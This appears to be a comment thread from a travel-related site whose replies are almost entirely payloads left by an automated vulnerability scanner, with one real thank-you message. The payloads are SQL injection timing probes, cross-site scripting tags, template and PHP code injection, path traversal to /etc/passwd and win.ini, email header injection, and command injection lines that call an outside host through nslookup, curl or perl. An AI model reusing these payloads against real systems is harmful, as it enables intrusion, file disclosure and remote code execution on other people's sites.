re: Leo Saito
HttP://bxss.me/t/xss.html?%00
re: Leo Saito
";print(md5(31337));$a="
re: Leo Saito
`(nslookup -q=cname hitpwdnspdmla33739.bxss.me||curl hitpwdnspdmla33739.bxss.me)`
re: Leo Saito
bxss.me/t/xss.html?%00
re: Leo Saito
;(nslookup -q=cname hitvmmywnhaoce616a.bxss.me||curl hitvmmywnhaoce616a.bxss.me)|(nslookup -q=cname hitvmmywnhaoce616a.bxss.me||curl hitvmmywnhaoce616a.bxss.me)&(nslookup -q=cname hitvmmywnhaoce616a.bxss.me||curl hitvmmywnhaoce616a.bxss.me)
re: Leo Saito
'"()
re: Leo Saito
${@print(md5(31337))}
re: Leo Saito
|(nslookup${IFS}-q${IFS}cname${IFS}hitikaqodwjdd62033.bxss.me||curl${IFS}hitikaqodwjdd62033.bxss.me)
re: Leo Saito
'&&sleep(27*1000)*ubmskh&&'
re: Leo Saito
${@print(md5(31337))}\
re: Leo Saito
&(nslookup${IFS}-q${IFS}cname${IFS}hitbpohnvouwp5ad8b.bxss.me||curl${IFS}hitbpohnvouwp5ad8b.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbpohnvouwp5ad8b.bxss.me||curl${IFS}hitbpohnvouwp5ad8b.bxss.me)&`'
re: Leo Saito
"&&sleep(27*1000)*dumgyc&&"
re: Leo Saito
'.print(md5(31337)).'
re: Leo Saito
'||sleep(27*1000)*vxxofh||'
re: Leo Saito
"+"A".concat(70-3).concat(22*4).concat(105).concat(89).concat(111).concat(75)+(require"socket"
Socket.gethostbyname("hityd"+"tugsqcst094c6.bxss.me.")[3].to_s)+"
re: Leo Saito
"||sleep(27*1000)*iacgzx||"
re: Leo Saito
'+'A'.concat(70-3).concat(22*4).concat(111).concat(89).concat(119).concat(80)+(require'socket'
Socket.gethostbyname('hitkx'+'kwnpeyhe58877.bxss.me.')[3].to_s)+'
re: Leo Saito
'A'.concat(70-3).concat(22*4).concat(115).concat(68).concat(107).concat(89)+(require'socket'
Socket.gethostbyname('hitqy'+'nkoopoikaf573.bxss.me.')[3].to_s)
re: Leo Saito
replies
re: Leo Saito
replies
re: Leo Saito
replies/.
re: Leo Saito
'"
re: Leo Saito
<!--
re: Leo Saito
'"()&%<zzz><ScRiPt >bLHA(9368)</ScRiPt>
re: Leo Saito
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitkwtcrdptdg91c81.bxss.me")}}
re: Leo Saito
'"()&%<zzz><ScRiPt >bLHA(9814)</ScRiPt>
re: Leo Saito
9827348
re: Leo Saito
CAfYH8a9
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
Az2hkRna'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 118=(SELECT 118 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 103=(SELECT 103 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 217=(SELECT 217 FROM PG_SLEEP(15))--
re: Leo Saito
ntgwIvL2' OR 112=(SELECT 112 FROM PG_SLEEP(15))--
re: Leo Saito
ne963VUe') OR 418=(SELECT 418 FROM PG_SLEEP(15))--
re: Leo Saito
7TJgWmHL')) OR 37=(SELECT 37 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@Jn49n
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
ReiXiJ8U
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
W8AFMGJI'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 775=(SELECT 775 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 109=(SELECT 109 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 420=(SELECT 420 FROM PG_SLEEP(15))--
re: Leo Saito
4CsLe6jm' OR 734=(SELECT 734 FROM PG_SLEEP(15))--
re: Leo Saito
fOB6hX4b') OR 573=(SELECT 573 FROM PG_SLEEP(15))--
re: Leo Saito
8UuQoQUO')) OR 435=(SELECT 435 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@Bji4z
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
uuYxgnws
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
s1IoA6Uz'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 567=(SELECT 567 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 88=(SELECT 88 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 499=(SELECT 499 FROM PG_SLEEP(15))--
re: Leo Saito
4hp2UMW6' OR 949=(SELECT 949 FROM PG_SLEEP(15))--
re: Leo Saito
vWLYcfJw') OR 92=(SELECT 92 FROM PG_SLEEP(15))--
re: Leo Saito
TRy3xmhX')) OR 897=(SELECT 897 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@sRv8H
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
re: Leo Saito
qMe9u2hF
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
1*
re: Leo Saito
-1 OR 2+562-562-1=0+0+0+1
re: Leo Saito
-1 OR 3+562-562-1=0+0+0+1
re: Leo Saito
if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
1 waitfor delay '0:0:15' --
re: Leo Saito
QUFXLjjw'; waitfor delay '0:0:15' --
re: Leo Saito
-5 OR 616=(SELECT 616 FROM PG_SLEEP(15))--
re: Leo Saito
-5) OR 195=(SELECT 195 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 360=(SELECT 360 FROM PG_SLEEP(15))--
re: Leo Saito
wQcYK7HR' OR 20=(SELECT 20 FROM PG_SLEEP(15))--
re: Leo Saito
XwaMmdC8') OR 927=(SELECT 927 FROM PG_SLEEP(15))--
re: Leo Saito
PyiYaLR3')) OR 29=(SELECT 29 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
1'"
re: Leo Saito
@@WEccM
re: Leo Saito
XQxSL0eE
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
*1
re: Leo Saito
-1 OR 5*5=25 --
re: Leo Saito
-1 OR 5*5=26 --
re: Leo Saito
-1 OR 5*5=25
re: Leo Saito
-1 OR 5*5=26
re: Leo Saito
*if(now()=sysdate(),sleep(15),0)
re: Leo Saito
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: Leo Saito
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: Leo Saito
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: Leo Saito
-1; waitfor delay '0:0:15' --
re: Leo Saito
-1); waitfor delay '0:0:15' --
re: Leo Saito
-1 waitfor delay '0:0:15' --
re: Leo Saito
EGbXckyP'; waitfor delay '0:0:15' --
re: Leo Saito
-1 OR 244=(SELECT 244 FROM PG_SLEEP(15))--
re: Leo Saito
-1) OR 206=(SELECT 206 FROM PG_SLEEP(15))--
re: Leo Saito
-1)) OR 986=(SELECT 986 FROM PG_SLEEP(15))--
re: Leo Saito
0klDhlfp' OR 351=(SELECT 351 FROM PG_SLEEP(15))--
re: Leo Saito
EACP3Y0O') OR 821=(SELECT 821 FROM PG_SLEEP(15))--
re: Leo Saito
h6SBm6YC')) OR 612=(SELECT 612 FROM PG_SLEEP(15))--
re: Leo Saito
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: Leo Saito
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: Leo Saito
'||(select 1 from (select pg_sleep(15))x)||'
re: Leo Saito
''||(select 1 from (select pg_sleep(15))x)||''
re: Leo Saito
'"
re: Leo Saito
@@2Kcuz
re: Leo Saito
(select 198766*667891)
re: Leo Saito
(select 198766*667891 from DUAL)
Thank you very much Saito San for the information. I will make sure to reserve first before I visit.
re: paul_paulpiwat
pQimTKbZ
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
-1 OR 2+532-532-1=0+0+0+1
re: paul_paulpiwat
-1 OR 3+532-532-1=0+0+0+1
re: paul_paulpiwat
if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
1 waitfor delay '0:0:15' --
re: paul_paulpiwat
2PiK83zA'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-5 OR 736=(SELECT 736 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-5) OR 118=(SELECT 118 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 996=(SELECT 996 FROM PG_SLEEP(15))--
re: paul_paulpiwat
oRtWO2Xq' OR 168=(SELECT 168 FROM PG_SLEEP(15))--
re: paul_paulpiwat
XFSqmvl7') OR 668=(SELECT 668 FROM PG_SLEEP(15))--
re: paul_paulpiwat
JSnxmLPa')) OR 32=(SELECT 32 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
1'"
re: paul_paulpiwat
@@7J8qW
re: paul_paulpiwat
e19G0rQi
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
-1 OR 2+131-131-1=0+0+0+1
re: paul_paulpiwat
-1 OR 3+131-131-1=0+0+0+1
re: paul_paulpiwat
if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
1 waitfor delay '0:0:15' --
re: paul_paulpiwat
oFexYzs5'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-5 OR 332=(SELECT 332 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-5) OR 767=(SELECT 767 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 309=(SELECT 309 FROM PG_SLEEP(15))--
re: paul_paulpiwat
n5GFjywi' OR 607=(SELECT 607 FROM PG_SLEEP(15))--
re: paul_paulpiwat
Zi9ZRia0') OR 78=(SELECT 78 FROM PG_SLEEP(15))--
re: paul_paulpiwat
rY2iTYrH')) OR 492=(SELECT 492 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
1'"
re: paul_paulpiwat
@@praIz
re: paul_paulpiwat
1XNXrPKGO
re: paul_paulpiwat
response.write(9714615*9556597)
re: paul_paulpiwat
'+response.write(9714615*9556597)+'
re: paul_paulpiwat
"+response.write(9714615*9556597)+"
re: paul_paulpiwat
%0abcc:074625.67-10249.67.88d8d.19990.2@bxss.me
re: paul_paulpiwat
to@example.com>%0d%0abcc:074625.67-10250.67.88d8d.19990.2@bxss.me
re: paul_paulpiwat
../../../../../../../../../../../../../../etc/passwd
re: paul_paulpiwat
<esi:include src="http://bxss.me/rpb.png"/>
re: paul_paulpiwat
../../../../../../../../../../../../../../windows/win.ini
re: paul_paulpiwat
${9999403+10000404}
re: paul_paulpiwat
file:///etc/passwd
re: paul_paulpiwat
../../../../../../../../../../../../../../../proc/version
re: paul_paulpiwat
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: paul_paulpiwat
../../../../../../../../../../etc/passwd%00.jpg
re: paul_paulpiwat
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: paul_paulpiwat
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: paul_paulpiwat
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: paul_paulpiwat
)
re: paul_paulpiwat
/etc/passwd
re: paul_paulpiwat
!(()&&!|*|*|
re: paul_paulpiwat
echo huljwv$()\ fklgto\nz^xyu||a #' &echo huljwv$()\ fklgto\nz^xyu||a #|" &echo huljwv$()\ fklgto\nz^xyu||a #
re: paul_paulpiwat
%2fetc%2fpasswd
re: paul_paulpiwat
^(#$!@#$)(()))******
re: paul_paulpiwat
&echo idicrz$()\ nyppru\nz^xyu||a #' &echo idicrz$()\ nyppru\nz^xyu||a #|" &echo idicrz$()\ nyppru\nz^xyu||a #
re: paul_paulpiwat
/.././.././.././.././.././.././.././../etc/./passwd%00
re: paul_paulpiwat
|echo kngdwh$()\ weaicn\nz^xyu||a #' |echo kngdwh$()\ weaicn\nz^xyu||a #|" |echo kngdwh$()\ weaicn\nz^xyu||a #
re: paul_paulpiwat
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: paul_paulpiwat
(nslookup hitwtkejwygsi7b404.bxss.me||perl -e "gethostbyname('hitwtkejwygsi7b404.bxss.me')")
re: paul_paulpiwat
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: paul_paulpiwat
$(nslookup hitgxdgxbbgra03331.bxss.me||perl -e "gethostbyname('hitgxdgxbbgra03331.bxss.me')")
re: paul_paulpiwat
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: paul_paulpiwat
&nslookup hithngcjlhbivbc3fc.bxss.me&'\"`0&nslookup hithngcjlhbivbc3fc.bxss.me&`'
re: paul_paulpiwat
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: paul_paulpiwat
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: paul_paulpiwat
'.gethostbyname(lc('hitmf'.'jznkzbnmaa6e8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(70).chr(112).chr(87).'
re: paul_paulpiwat
&(nslookup hitetmmioxtwe1bd86.bxss.me||perl -e "gethostbyname('hitetmmioxtwe1bd86.bxss.me')")&'\"`0&(nslookup hitetmmioxtwe1bd86.bxss.me||perl -e "gethostbyname('hitetmmioxtwe1bd86.bxss.me')")&`'
re: paul_paulpiwat
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: paul_paulpiwat
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: paul_paulpiwat
".gethostbyname(lc("hitbb"."docbsjwp70729.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(90).chr(100).chr(82)."
re: paul_paulpiwat
|(nslookup hitpwjkkjpgsj058b3.bxss.me||perl -e "gethostbyname('hitpwjkkjpgsj058b3.bxss.me')")
re: paul_paulpiwat
Http://bxss.me/t/fit.txt
re: paul_paulpiwat
file:///etc/passwd
re: paul_paulpiwat
`(nslookup hithrevduizfl4f4d1.bxss.me||perl -e "gethostbyname('hithrevduizfl4f4d1.bxss.me')")`
re: paul_paulpiwat
http://bxss.me/t/fit.txt%3F.jpg
re: paul_paulpiwat
/\../\../\../\../\../\../\../etc/passwd
re: paul_paulpiwat
;(nslookup hitedybhpjjzkf33cf.bxss.me||perl -e "gethostbyname('hitedybhpjjzkf33cf.bxss.me')")|(nslookup hitedybhpjjzkf33cf.bxss.me||perl -e "gethostbyname('hitedybhpjjzkf33cf.bxss.me')")&(nslookup hitedybhpjjzkf33cf.bxss.me||perl -e "gethostbyname('hitedybhpjjzkf33cf.bxss.me')")
re: paul_paulpiwat
/etc/shells
re: paul_paulpiwat
/WEB-INF/web.xml
re: paul_paulpiwat
c:/windows/win.ini
re: paul_paulpiwat
C:\WINDOWS\system32\drivers\etc\hosts
re: paul_paulpiwat
bxss.me
re: paul_paulpiwat
../../../../../../../../../../windows/win.ini%00.jpg
re: paul_paulpiwat
HttP://bxss.me/t/xss.html?%00
re: paul_paulpiwat
"+"A".concat(70-3).concat(22*4).concat(108).concat(87).concat(117).concat(68)+(require"socket"
Socket.gethostbyname("hitrw"+"wqcxqpdm4df2c.bxss.me.")[3].to_s)+"
re: paul_paulpiwat
/../../../../../../../../../../boot.ini
re: paul_paulpiwat
bxss.me/t/xss.html?%00
re: paul_paulpiwat
'+'A'.concat(70-3).concat(22*4).concat(118).concat(76).concat(107).concat(67)+(require'socket'
Socket.gethostbyname('hitfa'+'ioqdjbxd0d926.bxss.me.')[3].to_s)+'
re: paul_paulpiwat
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: paul_paulpiwat
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: paul_paulpiwat
..\..\..\..\..\..\..\..\windows\win.ini
re: paul_paulpiwat
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: paul_paulpiwat
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: paul_paulpiwat
';print(md5(31337));$a='
re: paul_paulpiwat
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: paul_paulpiwat
";print(md5(31337));$a="
re: paul_paulpiwat
'"
re: paul_paulpiwat
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: paul_paulpiwat
${@print(md5(31337))}
re: paul_paulpiwat
<!--
re: paul_paulpiwat
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: paul_paulpiwat
${@print(md5(31337))}\
re: paul_paulpiwat
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.